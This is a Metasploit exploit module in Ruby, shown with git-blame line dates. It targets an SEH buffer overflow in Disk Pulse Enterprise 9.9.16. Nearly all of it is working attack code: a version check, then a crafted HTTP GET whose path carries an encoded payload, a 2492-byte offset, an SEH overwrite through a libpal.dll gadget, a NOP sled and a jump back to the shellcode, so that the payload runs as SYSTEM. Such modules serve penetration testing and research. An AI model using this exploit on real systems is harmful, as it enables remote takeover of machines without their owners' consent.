2017-09-13 15:19:24 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2017-09-13 16:02:13 +00:00
|
|
|
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
|
2017-09-13 15:19:24 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
|
2017-09-13 16:02:13 +00:00
|
|
|
9.9.16. If a malicious user sends a crafted HTTP GET request
|
2017-09-13 15:19:24 +00:00
|
|
|
it is possible to execute a payload that would run under the Windows
|
|
|
|
NT AUTHORITY\SYSTEM account.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2017-09-13 15:36:36 +00:00
|
|
|
'Chance Johnson', # msf module - albatross@loftwing.net
|
2017-09-13 15:19:24 +00:00
|
|
|
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '42560' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2017-09-13 15:56:32 +00:00
|
|
|
'EXITFUNC' => 'thread'
|
2017-09-13 15:19:24 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2017-09-13 15:36:36 +00:00
|
|
|
'EncoderType' => "alpha_mixed",
|
2017-09-13 15:19:24 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x26"
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Disk Pulse Enterprise 9.9.16',
|
|
|
|
{
|
2017-09-13 15:36:36 +00:00
|
|
|
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
|
|
|
|
'Offset' => 2492
|
2017-09-13 15:19:24 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2017-09-13 15:36:36 +00:00
|
|
|
'DisclosureDate' => 'Aug 25 2017',
|
2017-09-13 15:19:24 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([Opt::RPORT(80)], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/',
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.9\.16/
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2017-09-13 15:36:36 +00:00
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Generating exploit...")
|
|
|
|
exp = payload.encoded
|
|
|
|
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
|
2017-09-13 15:56:32 +00:00
|
|
|
exp << generate_seh_record(target.ret)
|
|
|
|
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
|
2017-09-13 15:36:36 +00:00
|
|
|
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
|
2017-09-13 16:02:13 +00:00
|
|
|
exp << 'B' * (5000 - exp.length) # padding
|
2017-09-13 15:36:36 +00:00
|
|
|
|
2017-09-13 15:56:32 +00:00
|
|
|
print_status("Sending exploit...")
|
2017-09-13 15:36:36 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/../' + exp,
|
|
|
|
'method' => 'GET',
|
|
|
|
'host' => '4.2.2.2',
|
|
|
|
'connection' => 'keep-alive'
|
|
|
|
})
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
|
2017-09-13 15:19:24 +00:00
|
|
|
end
|
|
|
|
end
|